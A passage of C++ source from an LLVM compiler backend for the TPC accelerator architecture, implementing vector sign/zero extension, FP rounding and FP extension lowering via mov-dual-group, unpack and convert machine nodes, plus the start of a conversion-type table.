Ops(6);\n Ops[0] = Temp; // Source.\n Ops[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n Ops[2] =\n DAG.getTargetConstant((TPCII::SW_GROUP_EN | TPCII::SW_DUAL_GROUP_EN),\n DL, MVT::i32); // Switch.\n Ops[3] = DAG.getUNDEF(MVT::v128i16); // Income.\n Ops[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node =\n DAG.getMachineNode(TPC::MOV_GROUP_vpu_vp, DL, MVT::v128i16, Ops);\n SDValue mdg = SDValue(Node, 0);\n\n // mov-dual-group\n // mov_dg.all sdg0=0 sdg1=2 sdg2=1 sdg3=3 weg0=3 weg1=2 weg2=1 weg3=3 %V8,\n // %V1, -0x1, %SP0;\n SmallVector<SDValue, 8> Ops1(7);\n Ops1[0] = Temp; // Source.\n Ops1[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n Ops1[2] = DAG.getTargetConstant(\n (((0 << TPCII::SW_SDG0_SHIFT) | (2 << TPCII::SW_SDG1_SHIFT) |\n (1 << TPCII::SW_SDG2_SHIFT) | (3 << TPCII::SW_SDG3_SHIFT) |\n (3 << TPCII::SW_WEG0_SHIFT) | (2 << TPCII::SW_WEG1_SHIFT) |\n (1 << TPCII::SW_WEG2_SHIFT) | (3 << TPCII::SW_WEG3_SHIFT)) |\n TPCII::SW_MDG_TYPE_ALL),\n DL, MVT::i32); // Switch.\n Ops1[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops1[4] = DAG.getUNDEF(MVT::v128i16); // Income.\n Ops1[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops1[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node1 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, MVT::v128i16, Ops1);\n SDValue mdg1 = SDValue(Node1, 0);\n\n // mov-dual-group\n // mov_dg.all sdg0=2 sdg1=0 sdg2=3 sdg3=1 weg0=2 weg1=1 weg2=2 weg3=1 %V5,\n // %V4, -0x1, %SP0;\n SmallVector<SDValue, 8> Ops2(7);\n Ops2[0] = mdg; // Source.\n Ops2[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n Ops2[2] = DAG.getTargetConstant( // 0,\n (((2 << TPCII::SW_SDG0_SHIFT) | (0 << TPCII::SW_SDG1_SHIFT) |\n (3 << TPCII::SW_SDG2_SHIFT) | (1 << TPCII::SW_SDG3_SHIFT) |\n (2 << TPCII::SW_WEG0_SHIFT) | (1 << TPCII::SW_WEG1_SHIFT) |\n (2 << TPCII::SW_WEG2_SHIFT) | (1 << TPCII::SW_WEG3_SHIFT)) |\n TPCII::SW_MDG_TYPE_ALL),\n DL, MVT::i32); // Switch.\n Ops2[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops2[4] = mdg1; // Income.\n Ops2[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops2[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node2 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, MVT::v128i16, Ops2);\n SDValue mdg2 = SDValue(Node2, 0);\n\n // unpack-1\n SmallVector<SDValue, 8> Ops3(6);\n Ops3[0] = mdg2; // Source.\n Ops3[1] =\n DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n Ops3[2] =\n DAG.getTargetConstant(0, DL, MVT::i32); // Switch.\n Ops3[3] = DAG.getConstant(0, DL, MVT::v128i16); // Income.\n Ops3[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops3[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node3 =\n DAG.getMachineNode(TPC::UNPACKp, DL, MVT::v128i16, Ops3);\n SDValue mdg3 = SDValue(Node3, 0);\n\n // unpack-2\n SmallVector<SDValue, 8> Ops4(6);\n Ops4[0] = mdg2; // Source.\n Ops4[1] =\n DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n Ops4[2] = DAG.getTargetConstant(TPCII::SW_GROUP_SOURCE, DL, MVT::i32); // Switch.\n Ops4[3] = DAG.getConstant(0, DL, MVT::v128i16); // Income.\n Ops4[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops4[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node4 =\n DAG.getMachineNode(TPC::UNPACKp, DL, MVT::v128i16, Ops4);\n SDValue mdg4 = SDValue(Node4, 0);\n\n if (SrcType == MVT::v128bf16) {\n mdg3 = DAG.getNode(ISD::BITCAST, DL, MVT::v128bf16, mdg3);\n mdg4 = DAG.getNode(ISD::BITCAST, DL, MVT::v128bf16, mdg4);\n } else if (SrcType == MVT::v128f16) {\n llvm_unreachable(\"Unsupported source type\");\n }\n ExtArg.push_back(mdg3);\n ExtArg.push_back(mdg4);\n } else {\n // unpack-1\n SmallVector<SDValue, 8> Ops1(6);\n Ops1[0] = Src; // Source.\n Ops1[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n Ops1[2] = DAG.getTargetConstant(0, DL, MVT::i32); // Switch.\n Ops1[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops1[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops1[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node1 = DAG.getMachineNode(TPC::UNPACKp, DL, ResultVT, Ops1);\n SDValue unpack1 = SDValue(Node1, 0);\n\n // unpack-2\n SmallVector<SDValue, 8> Ops2(6);\n Ops2[0] = Src; // Source.\n Ops2[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n Ops2[2] =\n DAG.getTargetConstant(TPCII::SW_GROUP_SOURCE, DL, MVT::i32); // Switch.\n Ops2[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops2[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops2[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node2 = DAG.getMachineNode(TPC::UNPACKp, DL, ResultVT, Ops2);\n SDValue unpack2 = SDValue(Node2, 0);\n\n // t_h = v_i16_mov_v(y.v1);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops4(6);\n Ops4[0] = unpack2; // Source.\n Ops4[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n Ops4[2] = DAG.getTargetConstant((0 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops4[3] = unpack1; // Income.\n Ops4[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops4[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node4 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops4);\n SDValue mdg1 = SDValue(Node4, 0);\n\n SmallVector<SDValue, 8> Ops5(6);\n Ops5[0] = unpack1; // Source.\n Ops5[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n Ops5[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops5[3] = mdg1; // Income.\n Ops5[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops5[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node5 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops5);\n SDValue mdg2 = SDValue(Node5, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops6(6);\n Ops6[0] = unpack2; // Source.\n Ops6[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n Ops6[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops6[3] = mdg2; // Income.\n Ops6[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops6[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node6 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops6);\n SDValue mdg3 = SDValue(Node6, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops7(6);\n Ops7[0] = unpack1; // Source.\n Ops7[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n Ops7[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 0 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops7[3] = unpack2; // Income.\n Ops7[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops7[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node7 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops7);\n SDValue mdg4 = SDValue(Node7, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops8(6);\n Ops8[0] = mdg4; // Source.\n Ops8[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n Ops8[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops8[3] = mdg4; // Income.\n Ops8[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops8[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node8 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops8);\n SDValue mdg5 = SDValue(Node8, 0);\n\n // mov-dual-group\n SmallVector<SDValue, 8> Ops9(6);\n Ops9[0] = unpack1; // Source.\n Ops9[1] = DAG.getTargetConstant(DataType, DL, MVT::i32); // DataType.\n Ops9[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops9[3] = mdg5; // Income.\n Ops9[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops9[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node9 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops9);\n SDValue mdg6 = SDValue(Node9, 0);\n\n ExtArg.push_back(mdg3);\n ExtArg.push_back(mdg6);\n }\n\n return ExtArg;\n}\n\nSDValue TPCTargetLowering::lowerSIGN_EXTEND(SDValue Op,\n SelectionDAG &DAG) const {\n SDLoc DL(Op);\n const SDValue &Src = Op.getOperand(0);\n\n if (Op.getValueType() == MVT::v128i32) {\n if (Src.getValueType() == MVT::v128i16) {\n auto ExtArg = extend_16_to_32(Op, DAG, DL, TPCII::OpType::INT16);\n SDValue Src0 = helperConvertvvpNodeCreate(\n ExtArg[0], DL, DAG, TPCII::OpType::INT16,\n TPCII::SW_CSR | TPCII::SW_SINGLE_LANE | TPCII::SW_TO_INT32,\n MVT::v64i32);\n SDValue Src1 = helperConvertvvpNodeCreate(\n ExtArg[1], DL, DAG, TPCII::OpType::INT16,\n TPCII::SW_CSR | TPCII::SW_SINGLE_LANE | TPCII::SW_TO_INT32,\n MVT::v64i32);\n return createTuple({Src0, Src1}, DAG);\n\n } else {\n llvm_unreachable(\"Unsupported source type\");\n }\n } else if (Op.getValueType() == MVT::v256i16) {\n if (Src.getValueType() == MVT::v256i8) {\n auto ExtArg = extend_8_to_16(Op, DAG, DL, TPCII::OpType::INT8,\n TPCII::SW_TO_INT16);\n return createTuple(ExtArg, DAG);\n } else {\n llvm_unreachable(\"Unsupported source type\");\n }\n } else if (Op.getValueType() == MVT::v256i32) {\n if (Src.getValueType() == MVT::v256i8) {\n // SmallVector<SDValue, 4> BitCastVec;\n auto ExtArg = extend_8_to_32(Op, DAG, DL, TPCII::OpType::INT8);\n return createTuple(ExtArg, DAG);\n } else if (Src.getValueType() == MVT::v256i16) {\n SDValue S0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v128i16, Src);\n SDValue S1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v128i16, Src);\n\n SDValue Ext0 = DAG.getNode(ISD::SIGN_EXTEND, DL, MVT::v128i32, S0Val);\n SDValue Ext1 = DAG.getNode(ISD::SIGN_EXTEND, DL, MVT::v128i32, S1Val);\n\n SDValue Ext00 =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64i32, Ext0);\n SDValue Ext01 =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64i32, Ext0);\n SDValue Ext10 =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64i32, Ext1);\n SDValue Ext11 =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64i32, Ext1);\n\n return createTuple({Ext00, Ext01, Ext10, Ext11}, DAG);\n } \n else {\n llvm_unreachable(\"Unsupported source type\");\n }\n } else {\n llvm_unreachable(\"Unsupported target type\");\n }\n return SDValue();\n}\n\nSDValue TPCTargetLowering::lowerZERO_EXTEND(SDValue Op,\n SelectionDAG &DAG) const {\n SDLoc DL(Op);\n const SDValue &Src = Op.getOperand(0);\n\n if (Op.getValueType() == MVT::v128i32) {\n if (Src.getValueType() == MVT::v128i16) {\n auto ExtArg = extend_16_to_32(Op, DAG, DL, TPCII::OpType::UINT16);\n\n SDValue Conv0 = helperConvertvvpNodeCreate(\n ExtArg[0], DL, DAG, TPCII::OpType::UINT16,\n TPCII::SW_CSR | TPCII::SW_SINGLE_LANE | TPCII::SW_TO_UINT32,\n MVT::v64i32);\n SDValue Conv1 = helperConvertvvpNodeCreate(\n ExtArg[1], DL, DAG, TPCII::OpType::UINT16,\n TPCII::SW_CSR | TPCII::SW_SINGLE_LANE | TPCII::SW_TO_UINT32,\n MVT::v64i32);\n\n SDValue Src0 = helperANDvipNodeCreate(\n Conv0, DL, DAG, TPCII::OpType::UINT32, 0x0000FFFF, MVT::v64i32);\n SDValue Src1 = helperANDvipNodeCreate(\n Conv1, DL, DAG, TPCII::OpType::UINT32, 0x0000FFFF, MVT::v64i32);\n\n return createTuple({Src0, Src1}, DAG);\n } else {\n llvm_unreachable(\"Unsupported source type\");\n }\n } else if (Op.getValueType() == MVT::v256i16) {\n if (Src.getValueType() == MVT::v256i8) {\n // TODO : adapt the helper once generalized for not using AND/CONVERT.\n auto ExtArg = extend_8_to_16(Op, DAG, DL, TPCII::OpType::UINT8,\n TPCII::SW_TO_INT16);\n return createTuple(ExtArg, DAG);\n } else {\n llvm_unreachable(\"Unsupported source type\");\n }\n } else if (Op.getValueType() == MVT::v256i32) {\n if (Src.getValueType() == MVT::v256i8) {\n auto ExtArg = extend_8_to_32(Op, DAG, DL, TPCII::OpType::UINT8);\n return createTuple(ExtArg, DAG);\n } else if (Src.getValueType() == MVT::v256i16) {\n SDValue S0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v128i16, Src);\n SDValue S1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v128i16, Src);\n\n SDValue Ext0 = DAG.getNode(ISD::ZERO_EXTEND, DL, MVT::v128i32, S0Val);\n SDValue Ext1 = DAG.getNode(ISD::ZERO_EXTEND, DL, MVT::v128i32, S1Val);\n\n SDValue Ext00 =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64i32, Ext0);\n SDValue Ext01 =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64i32, Ext0);\n SDValue Ext10 =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64i32, Ext1);\n SDValue Ext11 =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64i32, Ext1);\n\n return createTuple({Ext00, Ext01, Ext10, Ext11}, DAG);\n } else {\n llvm_unreachable(\"Unsupported source type\");\n }\n } else {\n llvm_unreachable(\"Unsupported source type\");\n }\n return SDValue();\n}\n\nSDValue TPCTargetLowering::lowerFP_ROUND(SDValue Op, SelectionDAG &DAG) const {\n SDLoc DL(Op);\n unsigned int NumOp = Op.getNumOperands();\n unsigned int InputSwitch = TPCII::SW_CSR;\n\n // If Op is intrinsic, get the switch from it.\n auto IsCastIntrinsicWithRoundMode = NumOp == 3;\n if (IsCastIntrinsicWithRoundMode) {\n // Get rounding mode from 2nd argument of intrinsic\n InputSwitch = Op.getConstantOperandVal(NumOp - 1);\n LLVM_DEBUG(dbgs() << \"Get switch from argument: \" << InputSwitch << \"\\n\");\n }\n // Get Src from 1st argument of intrinsic\n const SDValue &Src =\n IsCastIntrinsicWithRoundMode ? Op.getOperand(1) : Op.getOperand(0);\n\n // vector ops\n if ((Op.getValueType() == MVT::v128bf16) &&\n (Subtarget->hasGaudiISA())) {\n if (Src.getValueType() == MVT::v128f32) {\n\n SDValue N0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64f32, Src);\n SDValue N1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64f32, Src);\n\n SDValue Src0 = helperConvertvvpNodeCreate(\n N0Val, DL, DAG, TPCII::OpType::FP32,\n TPCII::SW_RHNE | TPCII::SW_SINGLE_LANE_SRCB | TPCII::SW_TO_BF16,\n MVT::v128bf16);\n SDValue Src1 = helperConvertvvpNodeCreate(\n N1Val, DL, DAG, TPCII::OpType::FP32,\n TPCII::SW_RHNE | TPCII::SW_SINGLE_LANE_SRCB | TPCII::SW_TO_BF16,\n MVT::v128bf16);\n\n if (Subtarget->hasGaudiISA())\n return truncate_32_to_16(DAG, Src0, Src1, DL, MVT::v128bf16,\n TPCII::OpType::INT16);\n else\n return truncate_32_to_16_goya(DAG, Src0, Src1, DL, MVT::v128bf16,\n TPCII::OpType::INT16);\n } else {\n llvm_unreachable(\"Unsupported target type\");\n }\n } else if (Op.getValueType() == MVT::v256bf16) {\n if (Src.getValueType() == MVT::v256f32) {\n if (Subtarget->hasGaudiISA()) {\n SDValue S0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64f32, Src);\n SDValue S1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64f32, Src);\n SDValue S2Val =\n helperExtractSubRegSDValue(TPC::sub_2, DL, DAG, MVT::v64f32, Src);\n SDValue S3Val =\n helperExtractSubRegSDValue(TPC::sub_3, DL, DAG, MVT::v64f32, Src);\n\n SDValue Src0 = helperConvertvvpNodeCreate(\n S0Val, DL, DAG, TPCII::OpType::FP32,\n InputSwitch | TPCII::SW_TO_BF16, MVT::v128bf16);\n SDValue Src1 = helperConvertvvpNodeCreate(\n S1Val, DL, DAG, TPCII::OpType::FP32,\n InputSwitch | TPCII::SW_TO_BF16, MVT::v128bf16);\n SDValue Src2 = helperConvertvvpNodeCreate(\n S2Val, DL, DAG, TPCII::OpType::FP32,\n InputSwitch | TPCII::SW_TO_BF16, MVT::v128bf16);\n SDValue Src3 = helperConvertvvpNodeCreate(\n S3Val, DL, DAG, TPCII::OpType::FP32,\n InputSwitch | TPCII::SW_TO_BF16, MVT::v128bf16);\n\n SDValue mdg0, mdg1;\n if (Subtarget->hasGaudiISA()) {\n mdg0 = truncate_32_to_16(DAG, Src0, Src1, DL, MVT::v128bf16,\n TPCII::OpType::BF16);\n mdg1 = truncate_32_to_16(DAG, Src2, Src3, DL, MVT::v128bf16,\n TPCII::OpType::BF16);\n } else {\n mdg0 = truncate_32_to_16_goya(DAG, Src0, Src1, DL, MVT::v128bf16,\n TPCII::OpType::BF16);\n mdg1 = truncate_32_to_16_goya(DAG, Src2, Src3, DL, MVT::v128bf16,\n TPCII::OpType::BF16);\n }\n return createTuple({mdg0, mdg1}, DAG);\n } else {\n llvm_unreachable(\"Unsupported vector type\");\n }\n } else {\n llvm_unreachable(\"Unsupported source type\");\n }\n } else {\n llvm_unreachable(\"Unsupported target type\");\n }\n return SDValue();\n}\n\nSDValue TPCTargetLowering::lowerVectorFP_Extend(\n SDValue Op, SelectionDAG &DAG, SDLoc &DL, uint64_t DataType, EVT SubRegType,\n unsigned int InputSwitch, bool IsCastIntrinsicWithRoundMode) const {\n\n if (IsCastIntrinsicWithRoundMode)\n LLVM_DEBUG(dbgs() << \"lowerVectorFP_Extend: Incoming switch = \"\n << InputSwitch << \"\\n\");\n auto ExtArg = extend_16_to_32(Op, DAG, DL, DataType);\n SmallVector<SDValue, 8> Ops(6);\n Ops[0] = ExtArg[0]; // Source.\n Ops[1] = DAG.getTargetConstant(DataType, DL, MVT::i8); // DataType.\n Ops[2] = DAG.getTargetConstant(\n TPCII::SW_TO_FP32 |\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE),\n DL, MVT::i32); // Switch.\n Ops[3] = DAG.getUNDEF(Op.getValueType()); // Income.\n Ops[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node =\n DAG.getMachineNode(TPC::CONVERTdvp, DL, Op.getValueType(), Ops);\n SDValue S0Val = SDValue(Node, 0);\n\n SmallVector<SDValue, 8> Ops1(6);\n Ops1[0] = ExtArg[1]; // Source.\n Ops1[1] = DAG.getTargetConstant(DataType, DL, MVT::i8); // DataType.\n Ops1[2] = DAG.getTargetConstant(\n TPCII::SW_TO_FP32 |\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE),\n DL, MVT::i32); // Switch.\n Ops1[3] = DAG.getUNDEF(Op.getValueType()); // Income.\n Ops1[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops1[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node1 =\n DAG.getMachineNode(TPC::CONVERTdvp, DL, Op.getValueType(), Ops1);\n SDValue S1Val = SDValue(Node1, 0);\n\n SDValue S0ValFirst =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, SubRegType, S0Val);\n SDValue S1ValFirst =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, SubRegType, S1Val);\n\n SDValue Tuple = createTuple({S0ValFirst, S1ValFirst}, DAG);\n return Tuple;\n}\n\nSDValue TPCTargetLowering::lowerFP_EXTEND(SDValue Op, SelectionDAG &DAG) const {\n SDLoc DL(Op);\n unsigned int NumOp = Op.getNumOperands();\n unsigned int InputSwitch = TPCII::SW_CSR;\n\n // If Op is intrinsic, get the switch from it.\n auto IsCastIntrinsicWithRoundMode = Op.getOpcode() == ISD::INTRINSIC_WO_CHAIN;\n if (IsCastIntrinsicWithRoundMode) {\n InputSwitch = Op.getConstantOperandVal(NumOp - 1);\n LLVM_DEBUG(dbgs() << \"Get switch from argument: \" << InputSwitch << \"\\n\");\n }\n const SDValue &Src =\n IsCastIntrinsicWithRoundMode ? Op.getOperand(1) : Op.getOperand(0);\n\n if (Op.getValueType() == MVT::v128f32) {\n if (Src.getValueType() == MVT::v128bf16)\n return lowerVectorFP_Extend(Op, DAG, DL, TPCII::OpType::BF16,\n MVT::v64f32, InputSwitch,\n IsCastIntrinsicWithRoundMode);\n else\n llvm_unreachable(\"Unsupported source type\");\n } else if (Op.getValueType() == MVT::v256f32) {\n if (Src.getValueType() == MVT::v256bf16) {\n if (Subtarget->hasGaudiISA()) {\n SDValue S0Val =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v128bf16, Src);\n SDValue S1Val =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v128bf16, Src);\n\n SDValue Ext0 = DAG.getNode(ISD::FP_EXTEND, DL, MVT::v128f32, S0Val);\n SDValue Ext1 = DAG.getNode(ISD::FP_EXTEND, DL, MVT::v128f32, S1Val);\n\n SDValue Ext00 =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64f32, Ext0);\n SDValue Ext01 =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64f32, Ext0);\n SDValue Ext10 =\n helperExtractSubRegSDValue(TPC::sub_0, DL, DAG, MVT::v64f32, Ext1);\n SDValue Ext11 =\n helperExtractSubRegSDValue(TPC::sub_1, DL, DAG, MVT::v64f32, Ext1);\n\n return createTuple({Ext00, Ext01, Ext10, Ext11}, DAG);\n } else {\n llvm_unreachable(\"Unsupported target type\");\n }\n } else {\n llvm_unreachable(\"Unsupported source type\");\n }\n }\n return SDValue();\n}\n\n// Aliases for type constants, to have more convenient names.\nconstexpr unsigned T_FP32 = TPCII::OpType::FP32;\nconstexpr unsigned T_BF16 = TPCII::OpType::BF16;\nconstexpr unsigned T_FP16 = TPCII::OpType::FP16;\nconstexpr unsigned T_FP8_143 = TPCII::OpType::FP8_143;\nconstexpr unsigned T_FP8_152 = TPCII::OpType::FP8_152;\nconstexpr unsigned T_INT32 = TPCII::OpType::INT32;\nconstexpr unsigned T_UINT32 = TPCII::OpType::UINT32;\nconstexpr unsigned T_INT16 = TPCII::OpType::INT16;\nconstexpr unsigned T_UINT16 = TPCII::OpType::UINT16;\nconstexpr unsigned T_INT8 = TPCII::OpType::INT8;\nconstexpr unsigned T_UINT8 = TPCII::OpType::UINT8;\nconstexpr unsigned T_INT4 = TPCII::OpType::INT4;\nconstexpr unsigned T_UINT4 = TPCII::OpType::UINT4;\nconstexpr unsigned T_UNDEF = ~0U;\n\n// Given switch value, as specified for CONVERT intrinsics, determines target\n// type of the conversion.\nstatic unsigned findDestTypeInSwitches(unsigned Switches) {\n unsigned Masked = Switches & TPCII::SW_TO_TYPE;\n switch (Masked) {\n default:\n llvm_unreachable(\"Unknown target type\");\n case TPCII::SW_TO_FP32: return T_FP32;\n case TPCII::SW_TO_BF16: return T_BF16;\n case TPCII::SW_TO_FP16: return T_FP16;\n case TPCII::SW_TO_FP8_143: return T_FP8_143;\n case TPCII::SW_TO_FP8_152: return T_FP8_152;\n case TPCII::SW_TO_INT32: return T_INT32;\n case TPCII::SW_TO_UINT32: return T_UINT32;\n case TPCII::SW_TO_INT16: return T_INT16;\n case TPCII::SW_TO_UINT16: return T_UINT16;\n case TPCII::SW_TO_INT8: return T_INT8;\n case TPCII::SW_TO_UINT8: return T_UINT8;\n }\n}\n\n// Target feature constants.\nconstexpr unsigned F_ALL = 0;\nconstexpr unsigned F_GEN1 = 1;\nconstexpr unsigned F_GEN2 = 2;\nconstexpr unsigned F_GEN2PLUS = F_GEN2;\n\n// Check if the target feature is supported by the subtarget.\nstatic bool hasFeature(const TPCSubtarget &Subtarget, unsigned F) {\n if (F == F_ALL)\n return true;\n if (F & F_GEN1)\n return Subtarget.hasGoyaISA();\n if (F & F_GEN2)\n return Subtarget.hasGaudiISA();\n return false;\n}\n\n/// Keeps source and destination types of a conversion.\n///\n/// Types are represented by the enum TPCII::OpType.\n///\nstruct CvtDirection {\n unsigned SourceType = T_UNDEF;\n unsigned DestinationType = T_UNDEF;\n};\n\ntemplate<> struct llvm::DenseMapInfo<CvtDirection> {\n static inline CvtDirection getEmptyKey() { return CvtDirection(); }\n static inline CvtDirection getTombstoneKey() { return { T_UNDEF, 0 }; }\n static unsigned getHashValue(const CvtDirection &Val) {\n return (Val.SourceType ^ Val.DestinationType) * 37U;\n }\n static bool isEqual(const CvtDirection &LHS, const CvtDirection &RHS) {\n return LHS.SourceType == RHS.SourceType &&\n LHS.DestinationType == RHS.DestinationType;\n }\n};\n\n/// Describes single conversion step.\n///\n/// Corresponds to single instruction CONVERT.\n///\nstruct CvtItem {\n unsigned DataType = T_UNDEF;\n unsigned Switches = 0;\n unsigned SrcNumElements = 0;\n unsigned DestNumElements = 0;\n};\n\n/// Describes sequence of conversion steps implementing required conversion.\n///\nstruct CvtActions {\n unsigned Requires = F_ALL; // Required feature\n bool IsSequence = false;\n SmallVector<CvtItem, 4> Steps;\n};\n\nstruct Conversion {\n SmallVector<CvtActions, 4> Actions;\n};\n\nstatic const DenseMap<CvtDirection, Conversion> ConversionDB{\n { {T_INT8, T_FP32}, {} }\n};\n\nstatic unsigned getMultiplicity(EVT VT) {\n unsigned TypeSize = VT.getSizeInBits();\n switch (TypeSize) {\n case 256*8: return 1;\n case 512*8: return 2;\n case 1024*8: return 4;\n }\n llvm_unreachable(\"Invalid type multiplicity\");\n}\n\nstatic unsigned getConvertOpCode(const CvtActions &Cvt, EVT DestVT, EVT SrcVT,\n bool VectorPredicate) {\n unsigned SrcMultiplicity = getMultiplicity(SrcVT);\n unsigned DestMultiplicity = getMultiplicity(DestVT);\n unsigned 